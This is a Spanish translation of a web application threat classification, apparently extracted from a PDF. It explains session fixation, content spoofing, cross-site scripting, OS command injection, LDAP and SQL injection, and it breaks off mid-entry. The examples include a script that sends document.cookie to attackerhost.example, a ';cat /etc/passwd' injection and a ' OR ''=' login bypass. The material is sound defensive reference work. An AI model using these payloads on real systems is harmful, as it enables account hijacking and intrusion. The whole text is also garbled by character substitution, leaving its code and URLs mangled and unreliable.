(jemplo
'l ata!ue de fi$acin de sesin normalmente es un procedimiento de
tres pasosM
?- Configuracin de Sesin
'l atacante configura una Ksesin trampaL para el sitio web
ob$etivo y obtiene los %"s de sesin. 1 el atacante puede
seleccionar un %" de sesin arbitrario usado en el ata!ue. 'n
algunos casos el valor de la Ksesin trampaL establecida se debe
mantener ,sesin mantenida- con repetidos contactos con el sitio
web.
20
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
@- <i$acin de Sesin
'l atacante introduce el valor de la sesin trampa en el navegador
del usuario y fi$a el %" de sesin del usuario.
A- 'ntrada en Sesin
'l atacante esperar hasta !ue el usuario se autenti!ue en el sitio
web ob$etivo. Cuando el usuario lo haga# el valor del %" de sesin
fi$ado ser usado y el ata!ue se llevar a cabo.
<i$ar un valor de %" de sesin del usuario se puede conseguir
mediante las siguientes t&cnicasM
'mitiendo una nuevo valor en la %" de sesin de la coo4ie usando un
script en la parte cliente
5na vulnerabilidad de Cross/site Scripting presente en cual!uier sitio
web del dominio puede ser usada para modificar el valor de la actual
coo4ie.
8ragmento de c!digo;
http://example/<script>document.cookie="sessionid=1
234;2!domain=.example.dom";</script>.idc
'mitiendo una coo4ie usando el tag ('3A
'ste m&todo es similar a los anteriores# pero tambi&n es efectivo
cuando las contramedidas para el Cross/site Scripting previenen de
la inyeccin de eti!uetas de script 73(L# pero no de meta eti!uetas.
8ragmento de c!digo;
http://example/<meta2!http#e$ui%=&et#'ookie2!
content="sessionid=1234;2!domain=.example.dom">.idc
21
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
'mitiendo una coo4ie usando una cabecera de respuesta 733*
'l ata!ue fuerza tanto el sitio web ob$etivo como cual!uier otro sitio
web del dominio# emitiendo una coo4ie de %" de sesin. 'sto se
puede lograr de varias formasM

'ntrando en un servidor web del dominio ,por e$emplo# un
servidor WA* mantenido deficientemente-
'nvenenando un servidor "8S de usuarios# efectivamente
a)adiendo el servidor web atacado al dominio.
Configurando un servidor web mal&volo en el dominio ,por
e$emplo# en una estacin de traba$o de un dominio Windows
@III# todas las estaciones de traba$o tambi&n estn en el
dominio "8S-
'0plotando un ata!ue de divisin de respuesta 733*.
8otaM 5n ata!ue de fi$acin de sesin de gran periodo se puede
lograr emitiendo una coo4ie persistente ,por e$emplo# e0pirando en
?I a)os-# la cual mantendr la sesin fi$ada a+n cuando el usuario
reinicie el ordenador.
8ragmento de c!digo;
http://example/<script>document.cookie="sessionid
=1234;2! (xpires=)rida*+2!1
,an2!1!2!!!:!!:!!2!-./";</script>.idc
)eferencias
2*ession 8i%ation Aulnerability in =eb)based .pplications3, 7y Eitja
Bolse9 ) .cros *ecurity
"ttp;##www.acrossecurity.com#papers#session<fi%ation.pdf
2'ivide and (onquer3, 7y .mit Blein ) *anctum
"ttp;##www.sanctuminc.com#pdf#w"itepaper<"ttpresponse.pdf
22
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
7 At aques en l a par t e cl i ent e
'l captulo KAta!ues en la parte clienteL se centra en el abuso o
aprovechamiento de los usuarios de los sitios web. Cuando un
usuario visita un sitio web# se establece una relacin de confianza
entre las dos partes# tecnolgica y psicolgicamente. 'l usuario
espera !ue el sitio web !ue visita le entregue contenido vlido. 'l
usuario tambi&n espera !ue el sitio web no le ata!ue durante su
permanencia. 3eniendo en cuenta estas esperanzas en la relacin
de confianza# un atacante puede emplear diversas t&cnicas para
aprovecharse del usuario.
.&. Suplantacin de contenido
La suplantacin de contenido es una t&cnica de ata!ue usada para
enga)ar a un usuario haci&ndole creer !ue ciertamente el contenido
!ue aparece en el sitio web es legtimo y no proviene de ninguna
fuente e0terna.
Algunas pginas web son servidas usando fuentes cuyo contenido
73(L es construido de forma dinmica. *or e$emplo# la ubicacin
orgen de un marco 0<1rame
src="http://1oo.example/1ile.html">- podra ser
especificada por el valor de un parmetro en la 56L.
,http://1oo.example/page2
1rame3src=http://1oo.example/1ile.html-. 5n atacante
puede ser capaz de reemplazar el valor del parmetro K1rame3srcL
con K1rame3src=http://attacker.example/spoo1.htmlL.
Cuando la pgina web resultante es servida# la barra de direcciones
del navegador permanece visiblemente ba$o el dominio esperado por
el usuario ,1oo.example-# pero los datos a$enos se encuentran
envueltos dentro del contenido legtimo.
'nlaces hbilmente construidos pueden ser enviados al usuario va
correo electrnico# mensa$es instantneos# boletines de noticias# o
23
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
forzados sobre los usuarios mediante ata!ues de cross/site scripting.
Si un atacante consigue !ue un usuario visite una pgina web
dise)ada mediante una 56L maliciosa# el usuario pensar !ue esta
viendo contenido aut&ntico desde una ubicacin !ue no lo es. Los
usuarios implcitamente confiarn en el contenido suplantado ya !ue
desde la barra de direcciones del navegador muestra
http://1oo.example# cuando de hecho# el marco 73(L
subyacente est referenciando aM http://attacker.example.
'ste ata!ue e0plota la confianza establecida entre el usuario y el sitio
web. La t&cnica ha sido usada para crear pginas web falsas
incluyendo formularios de autenticacin# desfiguraciones de pginas
web y falsos comunicados.
(jemplo
Creando un falso comunicado de prensa. Supongamos !ue un sitio
web usa marcos 73(L creados dinmicamente para sus pginas
web de comunicados de prensa. 5n usuario visitara un lin4 tal comoM
,http://1oo.example/pr2
pg=http://1oo.example/pr/!1!12!!3.html-. La pgina web
73(L seraM
8ragmento de c!digo;
<4/.5>
<)67.(&(/ '85&="1!!+ 9">
<)67.( :7.(="pr3menu" &6'="menu.html">
<)67.( :7.(="pr3content"
&6'="http://1oo.example/pr/!1!12!!3.html>
</)67.(&(/>
</4/.5>
La aplicacin web KprL del e$emplo anterior crea el 73(L con un
men+ esttico y un )67.( &6' generado dinmicamente. 'l frame
24
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
Kpr3contentL carga el orgen desde el valor del parametro KpgL de
la 56L para mostrar el contenido del comunicado de prensa
solicitado. *ero T!ue ocurrira si un atacante altera la 56L habitual a
http://1oo.example/pr2
pg=http://attacker.example/spoo1ed3press3release.ht
mlU Sin un apropiado che!ueo de saneamiento sobre el valor KpgL #
el 73(L resultante seraM
8ragmento de c!digo;
<4/.5>
<)67.(&(/ '85&="1!!+ 9">
<)67.( :7.(="pr3menu" &6'="menu.html">
<)67.( :7.(="pr3content" &6'="
http://attacker.example/spoo1ed3press3release.html">
</)67.(&(/>
</4/.5>
*ara el usuario final# el contenido suplantado de
Kattacker.exampleL aparece como aut&ntico y entregado desde
una fuente legtima.
)eferencias
2. new spoof; all frames)based sites are vulnerable3 ) *ecure,pert
abs
"ttp;##tbtf.com#arc"ive#II)IJ)GK."tmlLsMN
.&" CrossEsite Scriptin
Cross/site Scripting ,JSS- es una t&cnica de ata!ue !ue fuerza un
sitio web a repetir el cdigo e$ecutable suminitrado por un atacante#
el cual se carga en el navegador del usuario. 'l cdigo normalmente
est escrito en 73(L2;avaScript# pero tambi&n puede e0tenderse a
B9Script# ActiveJ# ;ava# <lash# o cual!uier otra tecnologa soportada
por el navegador.
25
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&

Cuando un atacante consigue !ue el navegador de un usuario
e$ecute su cdigo# el cdigo se e$ecutar dentro del conte0to de
seguridad ,o zona- del sitio web. Con este nivel de privilegio# el
cdigo tiene la habilidad de leer# modificar y transmitir cual!uier dato
sensible accesible por el navegador. 5n usuario ob$eto de este
ata!ue podra tener su cuenta secuestrada ,robo de coo4ie-# su
navegador redirigido a otra direccin# o posiblemente mostrando
contenido fraudulento entregado por el sitio web !ue est visitando.
Los ata!ues de Cross/site Scripting comprometen esencialmente la
relacin de confianza entre el usuario y el sitio web.
7ay dos tipos de ata!ues Cross/site Scripting# persistentes y no
persistentes. Los ata!ues no persistentes re!uieren !ue un usuario
visite un enlace especialmente dise)ado !ue incluye cdigo
malicioso. Al visitar este enlace# el cdigo incrustado en la 56L ser
repetido y e$ecutado dentro del navegador web del usuario. Los
ata!ues persistentes tienen lugar cuando el cdigo malicioso es
presentado al sitio web donde se almacena durante un perodo de
tiempo. '$emplos de destinos favoritos de los atacantes a menudo
incluyen foros# mensa$es de correo web y software de chat sobre
web. Al usuario confiado no se le re!uiere hacer clic4 en ning+n
enlace# slo simplemente ver la pgina web conteniendo el cdigo.
(jemplo
Ata!ue persistente
(uchos sitios web hospedan boletines de noticias donde usuarios
registrados pueden publicar mensa$es. A un usuario registrado
com+nmente se le sigue la pista usando una coo4ie de %" de sesin
autorizndole para publicar mensa$es. Si un atacante public un
mensa$e conteniendo un $avascript hbilmente construido# un usuario
leyendo este mensa$e podra tener sus coo4ies y su cuenta
comprometidas.
26
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
8ragmento de c!digo de robo de coo9ie;
<&'6;</>
document.location=
=http://attackerhost.example/cgi#>in/
cookiesteal.cgi2=?document.cookie
</&'6;</>
Ata!ue no persistente
8umerosos portales web ofrecen una visin personalizada de un sitio
web y saludan a un usuario autenticado con el mensa$e K9ienvenido
Vsu nombre de usuarioWL. Algunas veces el dato !ue referencia al
usuario autenticado es almacenado dentro de la cadena de consulta
de la 56L y mostrado en la pantalla.

'$emplo de 56L de portal
http://portal.example/index.php2
sessionid=12312312@username=,oe
'n el e$emplo anterior vemos !ue el nombre de usuario K;oeL es
almacenado en la 56L. La pgina web resultante muestra un
mensa$e de K9ienvenido ;oeL. Si un atacante hubiera modificado el
campo del nombre de usuario en la 56L# insertando un $avascript de
robo de coo4ie# sera posible ganar el control de la cuenta de
usuario.
5n gran porcenta$e de gente sospechara si vieran $avascript
incrustado en la 56L# por lo !ue la mayor parte de las veces un
atacante codificar en la 56L su carga de cdigo malicioso de forma
similar al siguiente e$emplo.

'$emplo de una 56L codificada de robo de coo4ieM
http://portal.example/index.php2
27
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
sessionid=12312312@username=3'
A3B3A2BCA!A43(B4B)B3ADBEBDB(A42(B'
B)B3B1A4BCB)B(3E2ABFA4A4A!372)2)
B1A4A4B1B3BGBDA2BFB)A3A42(BDAFB1BE
A!B'BD2)B3BABC2EB2BCB(2)B3B)B)BG
BCBDA3A4BDB1B'2(B3BABC3)2A2GB4B)
B3ADBEBDB(A42(B3B)B)BGBCBD3'2)
A3B3A2BCA!A43(
'$emplo decodificado de una 56L de robo de coo4ieM
http://portal.example/index.php2
sessionid=12312312@username=<script>document.locati
on==http://attackerhost.example/cgi#
>in/cookiesteal.cgi2=?document.cookie</script>
)eferencias
2(4D1O .dvisory (.)NMMM)MN Ealicious C1E 1ags 4mbedded in
(lient =eb Dequests3
"ttp;##www.cert.org#advisories#(.)NMMM)MN."tml
21"e (ross *ite *cripting 8.03 ? (:&*ecurity.com
"ttp;##www.cgisecurity.com#articles#%ss)faq.s"tml
2(ross *ite *cripting &nfo3
"ttp;##"ttpd.apac"e.org#info#css)security#
2NP ("aracter entity references in C1E P3
"ttp;##www.wQ.org#1D#"tmlP#sgml#entities."tml
2Understanding Ealicious (ontent Eitigation for =eb 'evelopers3
"ttp;##www.cert.org#tec"<tips#malicious<code<mitigation."tml
2(ross)site *cripting; .re your web applications vulnerableR3, 7y
Bevin *pett ? */& 'ynamics
"ttp;##www.spidynamics.com#w"itepapers#*/&cross)sitescripting.pdf
28
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
2(ross)site *cripting 4%plained3, 7y .mit Blein ) *anctum
"ttp;##www.sanctuminc.com#pdf#="ite/aper<(**<4%plained.pdf
2C1E (ode &njection and (ross)site *cripting3, 7y :unter Fllmann
"ttp;##www.tec"nicalinfo.net#papers#(**."tml
$ (j ecuci n de comandos
'l captulo K'$ecucin de comandosL abarca los ata!ues dise)ados
para e$ecutar comandos remotos en el sitio web. 3odos los sitios web
utilizan datos suministrados por el usuario para satisfacer peticiones.
A menudo los datos facilitados por el usuario son usados para crear
comandos de construccin resultando en contenido dinmico de una
pgina web. Si este proceso es hecho de forma no segura# un
atacante puede alterar la e$ecucion de comandos.
.&. Desbordamiento de buffer
La e0plotacin de un desbordamiento de buffer es un ata!ue !ue
altera el flu$o de una aplicacin sobreescribiendo partes de la
memoria. 'l desbordamiento de buffer es un defecto com+n del
software# !ue resulta en una condicin de error. 'sta condicin de
error ocurre cuando los datos escritos en la memoria e0ceden el
tama)o reservado en el buffer. Cuando el buffer es desbordado#
direcciones de memoria adyacentes son sobreescritas causando !ue
el software falle o termine de manera inesperada. Cuando es sin
restriccin el ingreso de datos# realizado de una manera
determinada# puede ser usado para desbordar el buffer resultando en
varios problemas de seguridad.
5n desbordamiento de buffer puede ser usado como un ata!ue de
denegacin de servicio cuando la memoria es corrompida# resultando
en un fallo del software. A+n ms critico es la capacidad de un
ata!ue de desbordamiento de buffer para alterar el flu$o de una
29
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
aplicacin y forzar acciones involuntarias. 'ste escenario puede
ocurrir de muchas formas. Las vulnerabilidades de desbordamiento
de buffer han sido usadas para sobreescribir punteros de pila y
redirigir el programa para e$ecutar intrucciones maliciosas. Los
desbordamientos de buffer tambi&n han sido usados para cambiar
variables del programa.
Las vulnerabilidades de desbordamiento de buffer se han vuelto
bastante comunes en el sector de la seguridad informtica y han
acaparado los servidores web con frecuencia. Sin embargo# ellas no
han sido com+nmente vistas o e0plotadas en la misma capa de
aplicacin. La razn principal es !ue un atacante necesita analizar el
cdigo fuente de la aplicacin o el archivo binario del software. "ado
!ue el atacante debe e0plotar cdigo a medida en un sistema
remoto# tendra !ue e$ecutar el ata!ue de forma ciega# siendo muy
dificil conseguir el &0ito esperado.
Las vulnerabilidades de desbordamiento de buffer ocurren
generalmente en lengua$es de programacin como C y CQQ. 5n
desbordamiento de buffer puede ocurrir en un programa C=% o
cuando una pgina web accede a un programa en C.
)eferencias
2&nside t"e 7uffer Fverflow .ttac9; Eec"anism, Eet"od and
/revention3, 7y Ear9 4. 'onaldson ) :*4(
"ttp;##www.sans.org#rr#code#inside<buffer.p"p
2wMMwMM on Ceap Fverflows3, 7y Eatt (onover ) wMMwMM *ecurity
1eam
"ttp;##www.wMMwMM.org#files#articles#"eaptut.t%t
2*mas"ing 1"e *tac9 8or 8un .nd /rofit3, 7y .lep" Fne ) /"rac9 PG
"ttp;##www.insecure.org#stf#smas"stac9.t%t
30
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
.&" Ataques de formato de cadena
Los ata!ues de formato de cadena alteran el flu$o de una aplicacion
usando funcionalidades de libreras de formatos de cadena para
acceder a otros espacios de memoria.
Las vulnerabilidades ocurren cuando los datos facilitados por el
usuario son usados directamente como parmetros de formato de
cadenas de ciertas funciones de C2CQQ ,por e$emploM 1print1+
print1+ sprint1+ setproctitle+ s*slog+ ...-.
Si un atacante pasa un formato de cadena consistiendo en
caracteres de conversin de print1 ,por e$emploM NXfN# NXpN# NXnN#
etc.- como un valor de parmetro hacia la aplicacin web# podraM
'$ecutar cdigo arbitrario en el servidor
Leer los valores de la pila
Causar fallos de segmentacin2terminacin inesperada del
softwarare.
(jemplo
Asumamos !ue una aplicacion web tiene un parmetro
email7ddress# facilitado por el usuario. La aplicacin muestra el
valor de esta variable usando la funcion print1M
print10email7ddressH;
Si el valor enviado en el parmetro email7ddress tiene caracteres
de conversin# print1 interpretar la conversin de caracteres y
usar los correspondientes argumentos especificados
adicionalmente. Si estos argumentos no e0isten realmente# datos de
la pila sern usados de acuerdo al orden esperado por la funcin
print1.
31
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
Los posibles usos de un ata!ue de formato de cadena en tales
casos# pueden serM
Leer datos de la pilaM si la salida de la funcin print1 es
mostrada al atacante# este podra leer valores de la pila
enviando caracteres de conversin NX0N ,una o varias veces-.
Leer cadenas de caracteres de la memoria del procesoM si la
salida de la funcin print1 es mostrada al atacante# este
podra leer cadenas de caracteres de posiciones arbitrarias de
memoria usando el caracter de conversin NXsN ,y otros
caracteres de conversin con el ob$ectivo de alcanzar
posiciones especficas-.
'scribir un entero en posiciones de la memoria del procesoM
usando el caracter de conversin NXnN# un atacante podra
escribir un valor entero en cual!uier posicin de la memoria.
,por e$emploM sobreescribir banderas importantes del programa
!ue controlan privilegios de acceso# o sobreescribir direcciones
de retorno en la pila# etc.-
)eferencias
2+Eaybe- t"e first publicly 9nown 8ormat *trings e%ploit3
"ttp;##arc"ives.neo"apsis.com#arc"ives#bugtraq#IGGG)qQ#IMMG."tml
2.nalysis of format string bugs3, 7y .ndreas 1"uemmel
"ttp;##downloads.securityfocus.com#library#format)bug)analysis.pdf
28ormat string input validation error in wu)ftpd site<e%ec+- function3
"ttp;##www.9b.cert.org#vuls#id#NGKNQ
.&7 *nyeccin :DA+
La inyeccion L"A* es una t&cnica de ata!ue usada para e0plotar
sitios web !ue contruyen sentencias L"A* directamente desde datos
facilitados por el usuario.
32
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
Lightweight "irectory Access *rotocol ,L"A*- es un protocolo
estndar abierto para consultar y manipular servicios de directorio
J.DII. 'l protocolo L"A* se e$ecuta sobre protocolos de transporte
de %nternet# como es 3C*. Las aplicaciones web pueden usar datos
facilitados por el usuario para crear sentencias L"A* para peticiones
de pginas web dinmicas.
Cuando una aplicacin web no realiza un saneamiento adecuado de
los datos facilitados por el usuario# es posible para un atacante
alterar la contruccin de la sentencia L"A*. Cuando un atacante
puede modificar una sentencia L"A*# el proceso se e$ecutar con los
mismos permisos del componente !ue e$ecut el comando. ,por
e$emploM servidor de base de datos# servidor de aplicacin web#
servidor web# etc.-. 'sto puede causar graves problemas de
seguridad donde los permisos establecen derechos de consulta#
modificacin o eliminacin de cual!uier elemento dentro del rbol
L"A*.
Las mismas t&cnicas avanzadas de e0plotacin disponibles para
inyeccin de cdigo S.L pueden ser aplicadas de forma similar a la
inyeccin L"A*.
(jemplo
(!digo vulnerable con comentarios;
line !: <html>
line 1: <>od*>
line 2: <I 5anguage=JG&cript >
line 3: <
line 4: Eim user:ame
line D: Eim 1ilter
line B: Eim ldap8>K
line A:
line F: 'onst 5E7<3&(6J(6 = "ldap.example"
line C:
33
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
line 1!: user:ame = 6e$uest.Luer*&tring0"user"H
line 11:
line 12: i10 user:ame = "" H then
line 13: 6esponse.Mrite0"<>>;n%alid
re$uest. <lease speci1* a
%alid user name</>><>r>"H
line 14: 6esponse.(nd0H
line 1D: end i1
line 1B:
line 1A:
line 1F: 1ilter = "0uid=" ? '&tr0user:ameH ?
"H" = searching
1or the user entr*
line 1C:
line 2!:
line 21: ='reating the 5E7< o>Kect and setting
the >ase dn
line 22: &et ldap8>K =
&er%er.'reate8>Kect0";<Morks7&<.5E7<"H
line 23: ldap8>K.&er%er:ame = 5E7<3&(6J(6
line 24: ldap8>K.E: =
"ou=people+dc=spila>+dc=com"
line 2D:
line 2B: =&etting the search 1ilter
line 2A: ldap8>K.&earch)ilter = 1ilter
line 2F:
line 2C: ldap8>K.&earch
line 3!:
line 31: =&hoNing the user in1ormation
line 32: Mhile ldap8>K.:ext6esult = 1
line 33: 6esponse.Mrite0"<p>"H
line 34:
line 3D: 6esponse.Mrite0"<>><u>Oser
in1ormation 1or : " ?
ldap8>K.7ttrJalue0!H ? "</u></>><>r>"H
line 3B: )or i = ! /o ldap8>K.7ttr'ount #1
34
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
line 3A: 6esponse.Mrite0"<>>" ?
ldap8>K.7ttr/*pe0iH ?
"</>> : " ? ldap8>K.7ttrJalue0iH ? "<>r>" H
line 3F: :ext
line 3C: 6esponse.Mrite0"</p>"H
line 4!: Mend
line 41: >
line 42: </>od*>
line 43: </html>
Biendo el cdigo# observamos en la linea ?I !ue la variable
user:ame est inicializada con el valor del parmetro usuario y
luego rpidamente validada para ver si el valor es nulo. Si el valor no
es nulo# la variable user:ame es usada para inicializar la variable
1ilter en la linea ?G. 'sta nueva variable es utilizada directamente
para construir una consulta L"A* !ue ser usada en la llamada a
&earch)ilter en la linea @F. 'n este escenario# el atacante tiene
control completo sobre lo !ue ser consultado en el servidor L"A*# y
obtendr el resultado de la consulta cuando el cdigo llegue de la
linea A@ hasta la CI# donde todos los resultados y sus atributos son
mostrados al usuario.
(jemplo de ataque
http://example/ldapsearch.asp2user=9
'n el e$emplo anterior# enviamos el caracter Y en el parmetro user
el cual acabar en la variable 1ilter en el cdigo !ue ser
inicializado con ,uid=Y-. La sentencia L"A* resultante har retornar
al servidor cual!uier ob$eto !ue contenga un atributo uid.
35
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
)eferencias
2'./ &njection; .re Sour =eb .pplications AulnerableR3, 7y *ac"a
8aust ? */& 'ynamics
"ttp;##www.spidynamics.com#w"itepapers#'./injection.pdf
2. *tring Depresentation of './ *earc" 8ilters3
"ttp;##www.ietf.org#rfc#rfcIGTM.t%t
2Understanding './3
"ttp;##www.redboo9s.ibm.com#redboo9s#*:NPPGKT."tml
2'./ Desources3
"ttp;##ldapman.org#
.&$ Comandos de sistema operativo
'l uso de comandos de sistema operativo es una t&cnica de ata!ue
utilizada para e0plotar sitios web !ue e$ecutan comandos de sistema
operativo# a trav&s de la manipulacion de las entradas a la aplicacion.
Cuando una aplicacin web no realiza de forma adecuada el
saneamiento de los datos facilitados por el usuario antes de usarlos
en el cdigo de la aplicacin# es posible enga)ar a la aplicacin para
!ue e$ecute comandos de sistema operativo. Los comandos sern
e$ecutados con los mismos permisos del componente !ue e$ecut el
comando ,por e$emploM servidor de base de datos# servidor de
aplicaciones web# servidor web# etc.-
(jemplo
*erl permite redireccionar datos desde un proceso hacia una
sentencia open# esto se hace agregando un caracter ZPZ al final del
nombre de un archivo.
36
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
4jemplos de redireccionamiento con el carcter UVU;
Q (xecute "/>in/ls" and pipe the output to the
open statement
open0);5(+ "/>in/lsP"H
Las aplicaciones web normalmente incluyen parmetros !ue
especifican un archivo !ue es mostrado o usado como plantilla. Si la
aplicacin web no realiza de forma adecuada el saneamiento de los
datos facilitados por el usuario# un atacante podra modificar el valor
del parmetro para incluir un comando shell seguido por el smbolo
de redireccionamiento ,mostrado arriba-.
Si la 56L original de la aplicacin web esM
http://example/cgi#>in/shoN;n1o.pl2
name=,ohn@template=tmp1.txt
(odificando el valor del parmetro template# el atacante puede
enga)ar a la aplicacin web para e$ecutar el comando />in/lsM
http://example /cgi#>in/shoN;n1o.pl2
name=,ohn@template=/>in/lsP
La mayora de los lengua$es de script permiten a los programadores
e$ecutar comandos de sistema operativo durante la e$ecucin de la
aplicacin# usando varias funciones exec. Si la aplicacin web
permite !ue los datos facilitados por el usuario sean usados en las
llamadas a esas funciones directamente# sin ser saneados de la
forma apropiada# sera posible para un atacante e$ecutar comandos
de sistema operativo de forma remota. *or e$emplo# a continuacin
se e0pone una parte de un script *7* el cual muestra el contenido
de un directorio de sistema ,en sistemas 5ni0-M
37
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
4jecuta un comando s"ell;
exec0"ls #la Rdir"+Rlines+RrcH;
Agregando un punto y coma ,;- seguido por un comando de sistema
operativo# es posible forzar a la aplicacin web a e$ecutar un
segundo comandoM
http://example/director*.php2dir=3Gcat
2!/etc/passNd
'l resultado mostrar el contenido del fichero /etc/passNd.
)eferencias
2/erl (:& /roblemsW, 7y D8/ ) /"rac9 Eagazine, &ssue XX
"ttp;##www.wiretrip.net#rfp#t%t#p"rac9XX.t%t
+*ee W1"at pes9y pipeW section-
2Earcus ,ena9is directory.p"p *"ell (ommand 4%ecution
Aulnerability3
"ttp;##www.securityfocus.com#bid#PNJK
2@(*. *ecure /rogramming :uidelines3
"ttp;##arc"ive.ncsa.uiuc.edu#:eneral#:rid#.(4*#security#programmin
g#Lcgi
.&9 *nyeccin de cdio S3:
La inyeccion de cdigo S.L es una t&cnica de ata!ue usada para
e0plotar sitios web !ue construyen sentencias S.L directamente a
partir de datos facilitados por el usuario.
Structured .uery Language ,S.L- es un lengua$e especializado de
programacin para realizar consultas a bases de datos. La mayora
de las aplicaciones de base de datos# ya sean pe!ue)as o grandes#
38
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
pueden ser accedidas usando sentencias S.L. S.L es un estndar
%S1 y A8S%. Sin embargo# muchos productos de base de datos !ue
soportan S.L lo hacen con e0tensiones al estndar. Las
aplicaciones web pueden usar datos facilitados por el usuario para
crear sentencias S.L para peticiones de pginas web dinmicas.
Cuando una aplicacin web no realiza de la forma apropiada el
saneamiento de los datos facilitados por el usuario# es posible para
un atacante alterar la contruccin de las sentencias S.L. Cuando el
atacante puede modificar una sentencia S.L# el proceso se
e$ecutar con los mismos permisos !ue el componente !ue e$ecut
el comando ,por e$emploM servidor de base de datos# servidor de
aplicaciones web# servidor web# etc.-. 'l impacto de este ata!ue le
puede permitir al atacante obtener control total sobre la base de
datos o tambi&n e$ecutar comandos en el sistema.
Las mismas t&cnicas de e0plotacin avanzadas disponibles en la
inyeccin L"A* pueden ser aplicadas de forma similar en la
inyeccin de cdigo S.L.
(jemplo
5na autenticacin basada en web podra usar un cdigo similar al
siguienteM
&L5Luer* = "&(5('/ Osername )68. Osers M4(6(
Osername = =" @ strOsername @ "= 7:E <assNord = ="
@ str<assNord @ "=" str7uth'heck =
-etLuer*6esult0&L5Luer*H
'n este cdigo# el desarrollador est tomando los datos facilitados
por el usuario desde el formulario y concatenndolos directamente
en la consulta S.L.
Suponiendo !ue un atacante enva un usuario y contrase)a similares
39
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
a los siguientesM
ogin; ' OR ''='
/assword; ' OR ''='
'sto provocar !ue la consulta S.L resultante seaM
&(5('/ Osername )68. Osers M4(6( Osername = == 86
===== 7:E <assNord = == 86 =====
'n lugar de comparar los datos suministrados por el usuario con las
entradas en la tabla Osers# la consulta compara == ,cadena vaca-
con == ,cadena vaca-. 'sto devolver un resultado 3rue y el
atacante iniciar sesin con el primer usuario de la tabla Osers.
'0isten dos m&todos ampliamente conocidos de inyeccin de cdigo
S.LM inyeccin normal de cdigo S.L e inyeccin ciega de cdigo
S.L. 'l primero es la inyeccin de cdigo S.L en la cual el atacante
puede formatear su consulta para empare$arla con la del
desarrollador# utilizando la informacin contenida en los mensa$es de
error !ue son devueltos en la respuesta.
%nyeccin normal de cdigo S.L
Agregando una sentencia union select al parmetro# el atacante
puede realizar pruebas para ver si puede obtener acceso a la base
de datosM
http://example/article.asp2
;E=2?union?all?select?name?1rom?s*so>Kects
'l servidor S.L podra retornar un error similar al siguienteM
40
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
.icroso1t 85( EG <ro%ider 1or 8EG' Eri%ers error
=F!!4!e14=
S.icroso1tTS8EG' &L5 &er%er Eri%erTS&L5 &er%erT7ll
$ueries in an &L5 statement containing a O:;8:
operator must ha%e an e$ual num>er o1 expressions
in their target lists.

'sto le informa al atacante !ue ahora debe adivinar el n+mero
correcto de columnas para !ue la sentencia S.L se e$ecute
correctamente.
%nyeccin ciega de cdigo S.L
'n la inyeccin ciega de cdigo S.L# en vez de retornar un error de
base de datos# el servidor retorna una pgina de error amigable al
usuario# informndole !ue ha ocurrido un error. 'n este escenario# la
inyeccin de codigo S.L todava es posible# pero no es sencilla de
detectar. 5na forma habitual de detectar la inyeccin ciega de cdigo
S.L es a)adir una sentencia de verdadero o falso en el valor del
parmetro.
'$ecutando la siguiente peticin en un sitio webM
http://example/article.asp2;E=2?and?1=1
debera retornar la misma pgina web !ueM
http://example/article.asp2;E=2
por!ue la sentencia S.L Zand 1=1Z siempre es verdadera.
'$ecutando la siguiente peticin en un sitio webM
http://example/article.asp2;E=2?and?1=!
41
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
causara !ue el sitio web retornara un error amigable o ninguna
pgina. 'sto es as por!ue la sentencia S.L Nand 1=!N siempre es
falsa.
5na vez !ue el atacante descubre !ue un sitio es vulnerable a
inyeccin ciega de cdigo S.L# puede e0plotar esta vulnerabilidad
ms fcilmente !ue# en algunos casos# usando inyeccin normal de
cdigo S.L.
)eferencias
2*0 &njection; .re your =eb .pplications Aulnerable3 ? */&
'ynamics
"ttp;##www.spidynamics.com#support#w"itepapers#="itepaper*0&nj
ection.pdf
27lind *0 &njection; .re your =eb .pplications Aulnerable3 ? */&
'ynamics
"ttp;##www.spidynamics.com#support#w"itepapers#7lind<*0&njection
.pdf
2.dvanced *0 &njection in *0 *erver .pplications3, ("ris .nley )
@:**oftware
"ttp;##www.ne%tgenss.com#papers#advanced<sql<injection.pdf
2Eore advanced *0 &njection3, ("ris .nley ) @:**oftware
"ttp;##www.ne%tgenss.com#papers#more<advanced<sql<injection.pdf
=eb .pplication 'isassembly wit" F'7( 4rror Eessages, 'avid
itc"field ) Ysta9e
"ttp;##www.ne%tgenss.com#papers#webappdis.doc
2*0 &njection =al9t"roug"3
"ttp;##www.securiteam.com#securityreviews#X'/M@I/JT4."tml
27lind *0 &njection3 ) &mperva
42
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
"ttp;##www.imperva.com#application<defense<center#w"ite<papers#bli
nd<sql<server<injection."tml
2*0 &njection *ignatures 4vasion3 ) &mperva
"ttp;##www.imperva.com#application<defense<center#w"ite<papers#sq
l<injection<signatures<evasion."tml
2&ntroduction to *0 &njection .ttac9s for Fracle 'evelopers3 )
&ntegrigy
"ttp;##www.net)
security.org#dl#articles#&ntegrigy&ntroto*0&njection.ttac9s.pdf
.&; *nyeccin de cdio SS*
La inyeccin de cdigo SS% ,server/side %nclude- es una t&cnica de
e0plotacin en la parte del servidor !ue permite a un atacante enviar
cdigo a la aplicacin web# el cual ser luego e$ecutado localmente
por el servidor. La inyeccin de cdigo SS% e0plota la vulnerabilidad
introducida por una aplicacion web !ue no realiza de forma adecuada
